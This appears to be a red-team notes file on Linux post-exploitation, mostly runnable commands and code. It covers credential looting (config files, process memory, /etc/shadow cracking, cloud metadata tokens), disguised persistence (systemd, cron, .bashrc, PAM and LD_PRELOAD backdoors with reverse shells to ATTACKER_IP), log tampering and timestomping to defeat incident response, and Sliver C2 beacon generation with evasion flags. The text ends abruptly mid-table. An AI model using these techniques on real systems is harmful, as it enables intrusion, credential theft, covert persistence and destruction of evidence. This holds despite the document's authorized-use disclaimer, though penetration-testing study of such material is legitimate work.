1.1c Linux Deep Dive P2

1.1c Linux Deep Dive — Part 2: Looting, Persistence, Cleanup & C2

BLUF: Part 2 covers post-exploitation. Covers post-exploitation looting (credentials, keys, cloud metadata), persistence mechanisms (SSH, systemd, cron, PAM, LD_PRELOAD), cleanup/anti-forensics, shell upgrades, and Sliver C2 deployment. [Parts 1a & 1b](1.1a Linux Deep Dive P1.md) covers OPSEC baseline and privilege escalation.

Note

[Parts 1a & 1b](1.1a Linux Deep Dive P1.md): Sections 1–2 · This file: Sections 3–8

Important

Authorized use only: Use these notes only in owned, explicitly authorized, or isolated lab environments.

Detection awareness: Assume commands, binaries, network calls, identity changes, and cloud or directory actions may be logged by endpoint tooling, audit frameworks, SIEM pipelines, proxy logs, DNS logs, auth logs, and platform telemetry.

Blue-team view: Treat every technique as a defender validation exercise too: note what artifacts it creates, what alerts or hunts could surface it, and what monitoring or hardening would prevent or contain it.

CTF/lab boundary: If a sandbox or CTF includes bypass-oriented exercises, keep them confined to that environment and translate the lesson into detection, prevention, and cleanup notes rather than real-world evasion guidance.


Section 3 — Finding Valuable Data: Post-Exploitation Looting

Root is the means, not the end. The objective is intelligence: credentials, keys, secrets, and pivot paths.


3.1 — Credentials in Config Files

# The most common wins -- search for known credential patterns
grep -rEl "(password|passwd|secret|token|api_key|apikey|auth)" \
  /var/www /opt /home /srv /etc/app* /etc/nginx /etc/apache2 2>/dev/null | \
  grep -vE "\.pyc$|/proc/|binary" | head -20

# Specific high-value files
find / -name ".env" -o -name "*.env" 2>/dev/null | xargs grep -li "pass\|secret\|token" 2>/dev/null
find / -name "wp-config.php" 2>/dev/null      # WordPress DB creds
find / -name "database.yml" 2>/dev/null       # Rails DB creds
find / -name "settings.py" 2>/dev/null | xargs grep -l "PASSWORD\|SECRET_KEY" 2>/dev/null  # Django
find / -name "application.properties" -o -name "application.yml" 2>/dev/null | \
  xargs grep -li "password\|secret" 2>/dev/null    # Spring Boot

# Check common credential locations
cat /etc/mysql/my.cnf 2>/dev/null               # MySQL root password
cat /etc/postgresql/*/main/pg_hba.conf 2>/dev/null  # PostgreSQL auth
cat /root/.my.cnf 2>/dev/null                   # MySQL client creds
find /var/www -name "*.conf" -o -name "*.ini" 2>/dev/null | \
  xargs grep -li "db_pass\|database_password\|DB_PASS" 2>/dev/null

# SSH keys -- private keys are the most valuable single artifact
find / -name "id_rsa" -o -name "id_ed25519" -o -name "id_ecdsa" -o -name "*.pem" 2>/dev/null | \
  grep -v "\.pub$" | while read f; do
    echo "=== $f ==="; head -1 "$f"; echo
  done

# Known_hosts -- maps to pivot targets (even if no key, hostname list is valuable)
find / -name "known_hosts" 2>/dev/null | xargs cat 2>/dev/null | \
  grep -v "^#" | awk '{print $1}' | sort -u

3.2 — Shell History & Log Artifacts

# All history files -- operators paste passwords here constantly
find / -name ".*_history" -o -name ".bash_history" -o -name ".zsh_history" \
  -o -name ".python_history" -o -name ".mysql_history" -o -name ".psql_history" \
  2>/dev/null | xargs cat 2>/dev/null

# Look for passwords pasted directly into command lines
find / -name ".*history" 2>/dev/null | xargs grep -iE "(pass|token|secret|key|auth|curl|wget)" 2>/dev/null | head -30

# Logs sometimes contain credentials in error messages or debug output
grep -rEi "password|passwd|secret|token" /var/log/ 2>/dev/null | grep -v "Binary\|\.gz:" | head -20
# auth.log can expose sudo passwords in malformed commands
grep "sudo" /var/log/auth.log 2>/dev/null | tail -30

3.3 — In-Memory Credentials (/proc)

This is often overlooked. Running processes can have credentials in their environment, command line, or memory maps.

# Environment variables of ALL running processes (requires root for other users' procs)
# Look for API keys, tokens, passwords passed via env vars
strings /proc/*/environ 2>/dev/null | grep -iE "pass|key|token|secret|api|aws|azure|gcp" | sort -u

# Command line arguments of all processes -- passwords sometimes passed as CLI args
cat /proc/*/cmdline 2>/dev/null | tr '\0' ' ' | tr '\n' '\n' | \
  grep -iE "pass|secret|token|key|--password" | head -20

# Target specific high-value processes
# Find processes by name first
ps aux | grep -iE "mysql|postgres|redis|mongodb|elastic|vault|consul"
# Then examine that specific PID
PID=$(pgrep -f mysqld | head -1)
cat /proc/$PID/cmdline | tr '\0' ' '
cat /proc/$PID/environ | tr '\0' '\n' | grep -iE "pass|key|user|host"

# Memory maps -- can find strings in loaded shared libs and heap
# WARNING: reading /proc/PID/mem is extremely noisy and may crash processes
# Safer: just read /proc/PID/maps for mapped file paths (config paths etc.)
cat /proc/$PID/maps | grep -v "\.so\|vvar\|vdso\|\[" | awk '{print $6}' | sort -u

3.4 — /etc/shadow — Offline Crack

# Dump shadow (requires root)
cat /etc/shadow

# Combine with passwd for unshadow (needed for john)
unshadow /etc/passwd /etc/shadow > /tmp/combined.txt

# Transfer to attacker machine, then crack offline:
# hashcat -- SHA-512 ($6$) is most common on modern Linux
hashcat -m 1800 combined.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1800 combined.txt /usr/share/wordlists/rockyou.txt --rules-file /usr/share/hashcat/rules/best64.rule

# john fallback
john combined.txt --wordlist=/usr/share/wordlists/rockyou.txt

# Identify hash type from shadow entry:
# $1$ = MD5          hashcat -m 500
# $2y$ = bcrypt      hashcat -m 3200  (very slow)
# $5$ = SHA-256      hashcat -m 7400
# $6$ = SHA-512      hashcat -m 1800  (most common)
# $y$ = yescrypt     hashcat -m 15900 (modern Ubuntu)

3.5 — Swap File / Memory Dump

# Check if swap is in use
swapon --show
cat /proc/swaps
free -h

# Swap is physical memory dumped to disk -- may contain cleartext creds, session tokens
# swap_digger: https://github.com/sevagas/swap_digger
sudo ./swap_digger.sh -s /dev/sda5   # replace with your swap partition

# Manual approach -- grep swap for interesting strings (slow but no extra tools)
strings /dev/sda5 2>/dev/null | grep -iE "pass|token|secret|Bearer|Authorization" | head -20
# OR with swap file (not partition):
strings /swapfile 2>/dev/null | grep -iE "pass|token|secret" | head -20

# Hibernate image -- if system has hibernated, /dev/disk/by-label/... or /hibernate
ls -la /boot/ | grep -i hibern
file /swapfile 2>/dev/null

3.6 — Cloud Instance Metadata (IMDS)

If you're on a cloud instance, the IMDS endpoint is unauthenticated by default (unless IMDSv2 is enforced) and yields IAM credentials, user-data scripts, and instance identity.

# AWS IMDSv1 (no token required -- check if this works first)
curl -s http://169.254.169.254/latest/meta-data/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Get the role name, then:
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE
# Returns: AccessKeyId, SecretAccessKey, Token -- use immediately for AWS API calls

# AWS IMDSv2 (requires token -- but still automatic from the instance)
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/

# User-data -- admins put secrets, bootstrap scripts, and passwords here constantly
curl -s http://169.254.169.254/latest/user-data  # AWS
# Look for: passwords, API keys, S3 bucket names, internal hostnames

# GCP metadata
curl -s "http://metadata.google.internal/computeMetadata/v1/" -H "Metadata-Flavor: Google"
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
  -H "Metadata-Flavor: Google"

# Azure IMDS
curl -s "http://169.254.169.254/metadata/instance?api-version=2021-02-01" -H "Metadata:true"
curl -s "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
  -H "Metadata:true"

OPSEC: IMDS calls are HTTP requests that don't touch disk and generate no filesystem audit events. However, cloud providers log IAM credential usage — AWS CloudTrail will record every API call made with credentials from IMDS. Use the credentials for targeted actions only and be aware of the trail they leave.


Section 4 — Persistence: Stealthy & Resilient

Persistence should survive: reboots, password changes, deleted user accounts, and basic IR sweeps. Each mechanism below rates its detectability.


4.1 — SSH Authorized Keys

Detectability: Low (unless IR specifically checks ~/.ssh/)

# Ensure .ssh dir exists with correct permissions
mkdir -p ~/.ssh
chmod 700 ~/.ssh

# Add your public key (generate with: ssh-keygen -t ed25519 on attacker)
echo "ssh-ed25519 AAAA...YOUR_PUBKEY...= user@host" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

# OPSEC: disguise the key comment (last field) to match existing keys
# Check what format existing keys use:
cat ~/.ssh/authorized_keys
# Match the comment format: user@hostname, or an email, or no comment at all

# Add to root's authorized_keys (after gaining root)
echo "ssh-ed25519 AAAA...YOUR_PUBKEY...= " >> /root/.ssh/authorized_keys
# Blank comment -- harder to notice against legitimate keys

# Timestomp to match other keys in the directory
touch -r ~/.ssh/known_hosts ~/.ssh/authorized_keys

4.2 — Systemd Service (Disguised)

Detectability: Medium (IR teams enumerate services, but disguised names pass casual review)

# Choose a name that blends in -- mimic real systemd service names
# Bad:  backdoor.service, shell.service
# Good: systemd-network-helper.service, dbus-logind-monitor.service, udev-settle-extra.service

cat > /etc/systemd/system/systemd-network-helper.service << 'EOF'
[Unit]
Description=Network Helper Daemon
After=network.target
Documentation=man:systemd-network(8)

[Service]
Type=forking
User=root
ExecStart=/usr/lib/systemd/systemd-network-helper
Restart=on-failure
RestartSec=30
StandardOutput=null
StandardError=null

[Install]
WantedBy=multi-user.target
EOF

# Create the "binary" it calls -- a script disguised as a system binary
cat > /usr/lib/systemd/systemd-network-helper << 'EOF'
#!/bin/bash
# Fork to background immediately (Type=forking)
setsid bash -c 'while true; do bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1; sleep 60; done' &
disown
EOF
chmod +x /usr/lib/systemd/systemd-network-helper

# Enable and start
systemctl daemon-reload
systemctl enable systemd-network-helper.service
systemctl start systemd-network-helper.service

# Verify it's masked from casual inspection
systemctl status systemd-network-helper.service   # should show active/running

# Timestomp the service file to match other systemd files
touch -r /etc/systemd/system/ssh.service /etc/systemd/system/systemd-network-helper.service

OPSEC: Set StandardOutput=null and StandardError=null to prevent log output from landing in journald. Use RestartSec=30 with a sleep loop inside the script so that even if the beacon is killed, it reconnects without immediately alerting on rapid restarts. Never use Restart=always with a 0-second delay — that generates a flood of restart events in the journal.


4.3 — Cron Persistence

Detectability: Low-Medium (cron is checked in IR, but infrequent jobs are often missed)

# System-wide cron (requires root) -- runs as root
# Low frequency = less noise, survives longer
echo '47 3 * * 1 root /usr/lib/sysstat/.helper' >> /etc/cron.d/sysstat-helper
# Runs every Monday at 03:47 -- unlikely to trigger pattern matching on hourly/daily

# Create the payload
cat > /usr/lib/sysstat/.helper << 'EOF'
#!/bin/bash
exec > /dev/null 2>&1
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
EOF
chmod +x /usr/lib/sysstat/.helper

# User crontab persistence (survives without root)
(crontab -l 2>/dev/null; echo "17 2 * * 3 /home/$(whoami)/.local/share/.sync") | crontab -

# Create hidden payload
mkdir -p ~/.local/share/
cat > ~/.local/share/.sync << 'EOF'
#!/bin/bash
exec > /dev/null 2>&1
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
EOF
chmod +x ~/.local/share/.sync

# Timestomp cron files
touch -r /etc/cron.d/anacron /etc/cron.d/sysstat-helper

4.4 — .bashrc / .profile Conditional Backdoor

Detectability: Low (commonly checked, but conditional execution avoids repeated beaconing)

# Only beacon if callback host isn't already established -- avoids obvious repeated connections
# Append to .bashrc (runs on interactive shell open) or .profile (runs on login)

cat >> ~/.bashrc << 'EOF'

# system check
_svc_check() {
    pgrep -f "UNIQUE_MARKER" > /dev/null 2>&1 || \
    (bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' &) > /dev/null 2>&1
}
_svc_check
EOF

# OPSEC improvements:
# 1. Use a unique marker in the process name so the pgrep check works correctly
# 2. Redirect all output to /dev/null
# 3. The function name and variable look like a legitimate sysadmin check
# 4. Only fires if the beacon process isn't already running

# For root: target /etc/profile (runs for ALL users on login) or /etc/bash.bashrc
# Be selective -- modifying /etc/profile leaves a trace for every login
echo "_svc_check() { ... }" >> /etc/bash.bashrc

4.5 — PAM Backdoor (accepts any password for a user)

Detectability: Medium-High (PAM module changes are checked during IR, but often missed)

# Add pam_permit.so to PAM stack for SSH -- allows login with ANY password
# Backup first
cp /etc/pam.d/sshd /etc/pam.d/sshd.orig

# Add to the TOP of the auth section -- before existing auth rules
sed -i '1s/^/auth sufficient pam_permit.so\n/' /etc/pam.d/sshd

# Now SSH login with any password works for any account
# This is extremely powerful but also very detectable if PAM configs are audited

# More surgical: add backdoor only for a specific account
# Or: use pam_exec.so to run a script on auth (can log credentials of other users)
echo "auth optional pam_exec.so /tmp/.auth_hook" >> /etc/pam.d/sshd
cat > /tmp/.auth_hook << 'EOF'
#!/bin/bash
echo "$(date) USER=$PAM_USER PASS=$PAM_AUTHTOK" >> /tmp/.auth_log
EOF
chmod +x /tmp/.auth_hook
# This captures every SSH password attempt -- not a persistence mechanism but credential logger

OPSEC: PAM backdoors are one of the first things a hardened incident response team checks. Prefer SSH key persistence over PAM. If you use PAM, revert it after gaining your persistence via another method.


4.6 — LD_PRELOAD Persistence via /etc/ld.so.preload

Detectability: Low (rarely checked unless IR is hunting for LD_PRELOAD specifically)

# Create a malicious shared library that execs a beacon when any dynamically linked binary runs
cat > /tmp/preload.c << 'EOF'
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init() {
    // Only fire once -- avoid loops when our payload itself is a dynamic binary
    if (getenv("_PRELOAD_DONE")) return;
    putenv("_PRELOAD_DONE=1");

    // Don't fire as root -- avoids noise, only fires for user-level processes
    if (getuid() == 0) return;

    // Check if beacon is running
    if (system("pgrep -f UNIQUE_BEACON_MARKER > /dev/null 2>&1") != 0) {
        system("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' &");
    }
}
EOF

gcc -fPIC -shared -o /usr/local/lib/libsec.so /tmp/preload.c -ldl
rm /tmp/preload.c

# Register it globally
echo "/usr/local/lib/libsec.so" >> /etc/ld.so.preload

# Verify (will trigger on this command)
ls /   # any dynamic binary will trigger the constructor

# Timestomp
touch -r /etc/ld.so.conf /etc/ld.so.preload

OPSEC: Every dynamically linked binary that runs will load your library — this includes legitimate system tools like ls, ps, cat. This can cause visible slowdowns and trigger EDR detection based on unusual library loads. Use it sparingly and test in a lab first.


Section 5 — Cleanup & Anti-Forensics

Assume IR will run. Your goal is to raise their time-cost, not achieve perfect forensic invisibility. Perfect is the enemy of good enough.


5.1 — History Wipe

# In-session: stop recording new commands (already done in Section 1, but confirm)
unset HISTFILE
export HISTFILE=/dev/null
export HISTSIZE=0
set +o history
history -c            # clear in-memory history list (RAM only -- does NOT touch disk)
history -w            # flush the now-empty in-memory list to HISTFILE (/dev/null)
# Result: ~/.bash_history on disk is untouched; this session writes nothing new

# --- If the engagement scope EXPLICITLY requires wiping disk history ---
# (only do this if authorized; file wipes are detectable by forensics)

# Overwrite specific file (cat /dev/null is safer than rm -- rm leaves inode gap)
# cat /dev/null > ~/.bash_history

# If a system profile forces HISTFILE back to ~/.bash_history, redirect it:
# ln -sf /dev/null ~/.bash_history   # symlink to /dev/null; leaves detectable symlink

# If you must wipe all shell histories across interpreters:
# for f in ~/.bash_history ~/.zsh_history ~/.fish_history ~/.python_history \
#           ~/.mysql_history ~/.psql_history ~/.irb_history; do
#   [ -f "$f" ] && cat /dev/null > "$f"
# done

5.2 — Log Line Removal

Removing specific log lines is more surgical than clearing entire log files (which is immediately obvious).

# Remove your IP from auth.log
YOUR_IP="10.10.10.5"
sed -i "/$YOUR_IP/d" /var/log/auth.log
sed -i "/$YOUR_IP/d" /var/log/secure 2>/dev/null

# Remove specific username from logs
sed -i "/youruser/d" /var/log/auth.log

# Remove last N lines from auth.log (covers recent activity window)
# Get line count first, then keep everything before your activity
tail -n +$(( $(wc -l < /var/log/auth.log) - 20 )) /var/log/auth.log  # view last 20
# Remove last 20 lines:
head -n -20 /var/log/auth.log > /tmp/auth_clean && mv /tmp/auth_clean /var/log/auth.log

# wtmp / btmp / lastlog -- binary format, not directly editable with sed
# utmpdump is the safe tool:
utmpdump /var/log/wtmp | grep -v "$YOUR_IP" | utmpdump -r > /tmp/wtmp_clean
mv /tmp/wtmp_clean /var/log/wtmp

# Clear btmp (failed login attempts -- don't leave evidence you brute-forced)
cat /dev/null > /var/log/btmp

# Systemd journal -- you can't easily edit individual journal entries
# If you need to clear it: (very noisy -- only do this if IR hasn't arrived yet)
journalctl --vacuum-time=1d 2>/dev/null  # keep only last 1 day
# Or wipe: rm -f /var/log/journal/*/*.journal (requires root, highly detectable)

5.3 — Timestomping (Match Modified Files to Originals)

Any file you touch gets an updated mtime/atime. If IR runs find / -newer /etc/passwd -mmin -60, your modifications light up. Timestomp them.

Pre-Stomp: Read the Timestamps Before You Touch Anything

# ls -lisa -- long listing with inode number and block count
# i = inode, l = long format, s = block size, a = show hidden files
ls -lisa /etc/cron.d/
# Output: inode  blocks  perms  links  owner  group  size  mtime  name
# 131074  8  -rw-r--r-- 1  root  root  191  Jan 15 14:30  anacron

# ls -lisu -- same but sorted by file size (largest first)
# Useful for spotting anomalous large files in a directory
ls -lisu /etc/cron.d/
ls -lisu /etc/systemd/system/
ls -lisu ~/.ssh/

# Read the exact timestamp of the reference file BEFORE you modify anything
stat /etc/cron.d/anacron
# Access: 2023-01-15 14:30:00.000000000 +0000   <-- atime
# Modify: 2023-01-15 14:30:00.000000000 +0000   <-- mtime
# Change: 2023-01-15 14:30:00.000000000 +0000   <-- ctime (you can't fake this)

# Note the timestamps -- you'll set these on your file after modification

Timestomp: Set Timestamps After Modification

# Match mtime + atime from a reference file (simplest approach)
touch -r /etc/cron.d/anacron /etc/cron.d/your_persistence_file

# Match the SSH authorized_keys modification to the known_hosts file
touch -r ~/.ssh/known_hosts ~/.ssh/authorized_keys

# For systemd service files
touch -r /etc/systemd/system/ssh.service /etc/systemd/system/your_service.service
touch -r /usr/lib/systemd/systemd-networkd /usr/lib/systemd/systemd-network-helper

Surgical Control: Set atime and mtime Independently

# touch -a   -> set ONLY the access time (atime)
# touch -m   -> set ONLY the modification time (mtime)
# touch -t   -> specify exact timestamp: [[CC]YY]MMDDhhmm[.ss]

# Set ONLY atime to a specific time (leaves mtime untouched)
touch -a -t 202301151430.00 /etc/cron.d/your_file
#            ^^^^^^^^^^^^^ = 2023-01-15 14:30:00

# Set ONLY mtime to a specific time (leaves atime untouched)
touch -m -t 202301151430.00 /etc/cron.d/your_file

# Set both to the same specific time
touch -t 202301151430.00 /etc/cron.d/your_file

# Timestamp format breakdown:
# touch -a -t YYYYMMDDHHMI.SS filename
#              2023  = year
#                  01 = month (January)
#                    15 = day
#                      14 = hour (24h)
#                        30 = minute
#                           .00 = seconds (optional)

# Real-world example: your modified file should look like it was last touched
# on Jan 15, 2023 at 14:30 UTC -- same as the reference file (anacron)
touch -a -t 202301151430.00 /etc/cron.d/sysstat-helper   # set atime
touch -m -t 202301151430.00 /etc/cron.d/sysstat-helper   # set mtime

Verify the Stomp Worked

# Compare your file against the reference
stat /etc/cron.d/anacron
stat /etc/cron.d/your_file
# Access and Modify times should match

# ls -lisa confirms the displayed mtime in the listing matches
ls -lisa /etc/cron.d/
# Both files should show the same date/time column

# IR check simulation -- your file should NOT appear here
find /etc/cron.d/ -newer /etc/cron.d/anacron
# Empty output = timestomp successful for mtime

OPSEC notes:


5.4 — Tool Cleanup

# Remove all tools you dropped -- work backwards from your workspace
rm -f /dev/shm/.cache/pspy64
rm -f /dev/shm/.cache/linpeas.sh
rm -f /dev/shm/.cache/exploit
rm -rf /dev/shm/.cache/

# Secure delete if shred is available (overwrites before deleting)
shred -u /dev/shm/sensitive_file

# Remove compiled files
rm -f /tmp/evil.so /tmp/evil.c /tmp/preload.c

# Check for any temp files you created
find /tmp /dev/shm /var/tmp -newer /etc/passwd -mmin -480 2>/dev/null | grep -v "^/proc"

5.5 — What IR Teams Look For — Know Their Checklist

IR Action What They Check Your Counter
last / lastlog Login records from wtmp/lastlog Wipe with utmpdump, cat /dev/null > /var/log/lastlog
find / -newer /etc/passwd Recently modified files Timestomp all modified files
systemctl list-units Unexpected services Disguise service names, match descriptions
crontab -l + /etc/cron* Cron jobs Use infrequent schedules, hide in sysstat dirs
cat ~/.bash_history Shell history Wipe on entry AND exit
cat /etc/pam.d/* PAM configuration changes Revert PAM changes when possible
cat /etc/ld.so.preload LD_PRELOAD persistence Timestomp, or use only as a last resort
ls -la ~/.ssh/ Authorized keys Match timestamps to existing keys
ps auxf Running processes Use process name masquerading
ss -tunap Network connections Use short-lived beacons, not persistent shells
strings /proc/*/environ In-memory credentials N/A — this is you doing it to them
auditctl -l + audit.log Audit trail Can't erase audit.log without root; avoid audited syscalls
md5sum / sha256sum on system files File integrity (AIDE/Tripwire) You can't beat AIDE if it ran before you landed — focus on persistence in non-monitored paths

Section 6 — Shell Upgrade: nc -> Full TTY

A raw netcat shell has no TTY. No tab completion, no Ctrl-C (it kills the shell), no vim, no su. Fix this before you do anything else.

Why it matters: Without a TTY you can't run sudo, su, passwd, or interactive editors. Ctrl-C sends SIGINT to your local nc, killing the entire session. Tab completion and history don't work. You're flying blind.


6.1 — Python PTY (Most Common, Fastest)

Run on the victim side inside your nc shell:

# Step 1 (victim): Spawn a PTY via Python
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Fallback if python3 not found:
python -c 'import pty; pty.spawn("/bin/bash")'
# Or: script
/usr/bin/script -qc /bin/bash /dev/null

This gives you a functional terminal with su and sudo support, but Ctrl-C still kills the shell. For full control, proceed to the stty upgrade.


6.2 — Full TTY via stty (The Proper Fix)

After running the Python PTY above:

# Step 2 (victim): spawn PTY first (if not done already)
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Step 3 (victim -> attacker): background the shell -- press Ctrl-Z
# You're now back on your attacker terminal

# Step 4 (attacker): put your terminal in raw mode and pass it to the fg'd shell
stty raw -echo; fg
# The 'fg' brings the nc shell back to foreground
# Your terminal may look blank -- that's normal, type the next commands blindly

# Step 5 (victim): re-initialize the terminal inside the shell
reset
export TERM=xterm-256color
export SHELL=/bin/bash

# Step 6: Match the terminal size to your actual window
# On YOUR attacker terminal (new tab/pane): stty size -> returns ROWS COLS
# e.g.: 48 220
stty rows 48 columns 220

Result: Full interactive TTY. Ctrl-C works. Tab completion works. vim/nano work. Arrow keys work. History works.

OPSEC: stty raw -echo changes your attacker terminal state — if you lose the connection at this point, your terminal will be stuck in raw mode. Fix it by typing reset blindly or opening a new terminal tab.


6.3 — socat (Best Option if Available)

If socat is installed on the target, this gives you a full TTY from the start — no stty dance needed.

# Attacker listener (run this FIRST):
socat file:`tty`,raw,echo=0 tcp-listen:4444

# Victim (run in your existing dumb shell):
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:4444

Full TTY with job control, signals, and history immediately. No extra steps.


6.4 — rlwrap (Attacker-Side, No Victim Changes Needed)

Gives you readline history and basic completion on the attacker side without touching the victim:

# Install: apt install rlwrap
# Use in place of nc:
rlwrap nc -nlvp 4444

Not a real TTY, but command history (up arrow) and basic line editing work. Good for quick dumb shells before you can upgrade properly.


6.5 — Shell Upgrade Quick Reference

Situation Command (Victim Side) Result
Python3 available python3 -c 'import pty; pty.spawn("/bin/bash")' Basic TTY (su/sudo work)
Python2 only python -c 'import pty; pty.spawn("/bin/bash")' Basic TTY
No Python /usr/bin/script -qc /bin/bash /dev/null Basic TTY
Perl available perl -e 'exec "/bin/bash";' Basic shell (no TTY)
socat available See 6.3 above Full TTY immediately
After basic PTY stty dance (6.2 above) Full TTY via nc
Attacker side rlwrap nc -nlvp PORT Readline history only

Section 7 — C2 Frameworks: Why nc Is a Liability

nc shells are for initial access and quick tests. For any real engagement — pivoting, persistence, multi-host, or long-haul ops — you need a proper C2.

Why nc Breaks on Real Engagements

Problem nc Shell C2 Framework
Session drops (network blip) Dead — reconnect manually Automatic reconnect
Multiple targets One terminal per shell, chaos Centralized operator console
Pivoting / port forwards Manual SSH chains Built-in SOCKS, tunnels
Payload evasion None — bash spawns are trivially detected Custom protocols, encrypted comms, sleep/jitter
Evidence in logs Every bash -i shows in auth.log, ps Configurable process masquerade, encrypted traffic
Kill date / time limits None Built-in scheduling, datetime limits
Team operations Not possible Multi-operator with task queuing

C2 Framework Comparison

Framework Language Best For Linux Support Key Stealth Feature
Sliver Go General red team, cloud/Linux focus [Y] Excellent mTLS, garble obfuscation, beacon scheduling
Havoc C/C++ Windows-heavy engagements [Y] Good Demon agent, malleable comms
Covenant .NET Windows AD operations [~] Limited HTTP listener profiles
Merlin Go Low-footprint Linux ops [Y] Good HTTP/2, DNS C2, small agent
Mythic Python backend Custom agents, modular [Y] Good Pluggable agent/profile system

For Linux-focused ops: Sliver is the recommendation. Go binaries compile to a single static ELF, no dependencies. Built-in mTLS + HTTPS. Active development. Operator-grade sleep/jitter and time-restriction controls.


Section 8 — Sliver C2: Stealthy Linux Payloads

Sliver is the operator's choice for Linux C2. This section covers installation, stealthy payload generation, business-hours beaconing, and in-memory delivery. All commands are from the Sliver server console unless noted.


8.1 — Installation (Attacker/C2 Server)

# Option 1: Pre-built binary (fastest)
curl -s https://api.github.com/repos/BishopFox/sliver/releases/latest \
  | grep "browser_download_url.*linux" \
  | grep -v arm \
  | cut -d '"' -f 4 \
  | wget -qi -
# Rename and make executable
chmod +x sliver-server_linux && mv sliver-server_linux /usr/local/bin/sliver-server
chmod +x sliver-client_linux && mv sliver-client_linux /usr/local/bin/sliver

# Option 2: Build from source (adds garble support, latest features)
git clone https://github.com/BishopFox/sliver.git && cd sliver
make          # requires Go 1.20+, gcc, mingw-w64
# Output: sliver-server, sliver-client in ./

# Start server (interactive console)
sliver-server
# Or as a daemon:
sliver-server daemon &
# Default ports: 31337 (multiplayer gRPC), plus any listeners you start

8.2 — Beacon vs Session: Which to Use

Beacon Session
Connection Periodic check-ins (sleep-based) Persistent, always-on
Stealth [Y] High — looks like periodic web traffic [~] Low — persistent connection is anomalous
Interactivity Commands queued, executed on next check-in Immediate response
When to use Default for all ops — stealth first Interactive phases (priv-esc, lateral move)
Converting interactive command promotes beacon -> session N/A

Default to beacons. Promote to session only when you need interactive access, then drop back to beacon.


8.3 — Stealthy Beacon Generation: All the Flags

# Full stealthy Linux beacon -- run inside the Sliver console
generate beacon \
  --mtls YOUR_C2_IP:8888 \         # mTLS -- encrypted, mutual auth, ~looks like HTTPS
  --os linux \                     # target OS
  --arch amd64 \                   # or arm64 for cloud/IoT/Raspberry Pi
  --format elf \                   # elf=binary, shared=.so, shellcode=raw bytes
  --name "systemd-helper" \        # label in Sliver console (not process name on target)
  --evasion \                      # anti-analysis: anti-debug, stack canaries
  --skip-symbols \                 # strip Go symbol table -- blocks debugger+reverser
  --seconds 3600 \                 # sleep 3600s (1hr) between check-ins
  --jitter 600 \                   # add random 0-600s on top of sleep (not a %)
  --reconnect 60 \                 # retry delay if C2 unreachable
  --limit-datetime "2025-12-31T23:59:59Z" \  # KILL DATE -- RFC3339 UTC, implant exits after this
  --limit-hostname webserver01 \   # only run if hostname matches exactly
  --limit-username ubuntu \        # only run if username matches
  --limit-fileexists /etc/ssh/sshd_config \  # only run if this file exists (confirms target)
  --save /tmp/beacon.elf

# Verify the generated implant
implants          # list all generated implants with config summary

Flag breakdown:

Flag Format / Value What it does
--evasion boolean Anti-debug, anti-analysis, stack canaries compiled in
--skip-symbols boolean Strips Go symbol table (-ldflags "-s -w") -> harder to reverse
--seconds / --minutes / --hours / --days int Sleep interval components (combined)
--jitter N int (seconds) Max random addition to sleep — flat 0 to N seconds, NOT a percentage
--reconnect N int (seconds) Retry delay if C2 unreachable
--limit-datetime RFC3339 string Kill date — implant exits after this UTC timestamp; use for op time-boxing
--limit-hostname string Exact hostname match check at startup
--limit-username string Exact username match check at startup
--limit-fileexists path File existence check — confirms you're on the right target
--format elf / shared / shellcode ELF=binary, shared=.so (harder to detect), shellcode=raw
--name string Console label only — does NOT change process name on target

Important: --limit-datetime is a kill date (expiry), not a schedule. It takes RFC3339 format: "2025-12-31T23:59:59Z" (UTC) or "2025-12-31T18:59:59-05:00" (EST). The implant will refuse to run and exit cleanly after this time. This is for op time-boxing, not for time-of-day activation. For scheduled activation, use the cron wrapper approach (Section 8.5).


8.4 — Scheduled Beacon at 0800 EST (Business Hours)

Key fact: Sliver's --limit-datetime is a kill date (RFC3339 expiry), not a cron schedule. It tells the implant "stop running after this time." It does not restrict to specific hours of the day.

For time-of-day control, use the cron wrapper approach (Section 8.5). Here, --limit-datetime is used for op time-boxing — ensuring the implant self-destructs at end of engagement.

# Correct --limit-datetime syntax: RFC3339 format, UTC recommended
# Format: YYYY-MM-DDTHH:MM:SSZ  (UTC)
#      or YYYY-MM-DDTHH:MM:SS-05:00  (EST offset)

# Example: beacon active until end of engagement (Dec 31)
generate beacon \
  --https YOUR_C2_IP:443 \
  --os linux --arch amd64 --format elf \
  --evasion --skip-symbols \
  --seconds 3600 --jitter 600 \
  --limit-datetime "2025-12-31T23:59:59Z" \   # kill date in UTC
  --save /tmp/beacon_killdate.elf

# Example: short engagement window -- implant dies at 1800 EST on Friday
# 1800 EST = 2300 UTC
generate beacon \
  --https YOUR_C2_IP:443 \
  --os linux --arch amd64 --format elf \
  --evasion --skip-symbols \
  --seconds 3600 --jitter 300 \
  --limit-datetime "2025-12-05T23:00:00Z" \   # 1800 EST = 2300 UTC
  --save /tmp/beacon_shortop.elf

# Check target's timezone before choosing your UTC offset:
# EST  = UTC-5   -> 0800 EST = 1300 UTC
# EDT  = UTC-4   -> 0800 EDT = 1200 UTC  (summer)
# UTC  = UTC+0   -> 0800 UTC = 0800 UTC  (most servers)

Time-of-day control — what actually works:

Technique Mechanism Restriction Type
